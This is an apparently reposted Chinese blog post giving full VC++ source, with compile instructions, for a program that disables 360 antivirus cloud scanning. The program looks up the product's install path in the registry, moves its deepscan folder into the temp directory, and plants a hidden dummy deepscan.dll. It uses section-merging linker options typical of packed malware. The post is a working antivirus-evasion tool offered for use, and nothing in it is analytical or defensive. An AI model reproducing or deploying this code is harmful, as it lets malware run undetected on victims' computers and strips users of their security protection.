过360云查杀vc++代码

把下面的代码保存为一个cpp文件，用vc6.0编译即可    

用了一个API函数 MoveFile ，把360云查杀的文件夹移动到temp目录，这样就让云查杀失效了，对开了保险箱的也是有效的    

// ****************************************** fuck360.cpp ***********************************************    

// By：洪流    
#pragma comment(linker, "/OPT:NOWIN98")    
#pragma comment(linker, "/merge:.data=.text")    
#pragma comment(linker, "/merge:.rdata=.text")    
#pragma comment(linker, "/align:0x200")    
#pragma comment(linker, "/subsystem:windows")    
#include <windows.h>    
#include <stdio.h>    
#pragma comment(lib, "MSVCRT.lib")    
#pragma comment(linker, "/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")    

void Torrent()    
{    
HKEY hKey = NULL;    
DWORD len=MAX_PATH;    
DWORD type=REG_SZ;    
char pBuf[200];    
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360Safe.exe",0,KEY_ALL_ACCESS,&hKey);    
if (RegQueryValueEx(hKey, "Path" , NULL, &type, (unsigned char*)pBuf, &len) == ERROR_SUCCESS)    
{    
char TempPath[200];    
char exe[200];    
char dll[200];    
char exe_1[200];    
char dll_1[200];    
GetTempPath( sizeof(TempPath),TempPath);    
wsprintf(TempPath, "%s\\tmp",TempPath);    
wsprintf(pBuf, "%s\\deepscan",pBuf);    
MoveFile(pBuf,TempPath);    
CreateDirectory(pBuf,NULL);    

wsprintf(exe, "%s\\360deepscan.exe",TempPath);    
wsprintf(dll, "%s\\360wservice.dll",TempPath);    

wsprintf(exe_1, "%s\\360deepscan.exe",pBuf);    
wsprintf(dll_1, "%s\\360wservice.dll",pBuf);    

CopyFile(exe,exe_1,FALSE);    
CopyFile(dll,dll_1,FALSE);    

FILE *file;    
strcat(pBuf, "\\deepscan.dll");    
file=fopen(pBuf, "w");    
char fuck[10];    
wsprintf(fuck, "deepscan");    
fputs(fuck,file);    
fclose(file);    
SetFileAttributes(pBuf, FILE_ATTRIBUTE_HIDDEN);    
}    
RegCloseKey(hKey);    
}    

//    

    

转载于:https://blog.51cto.com/secode/168308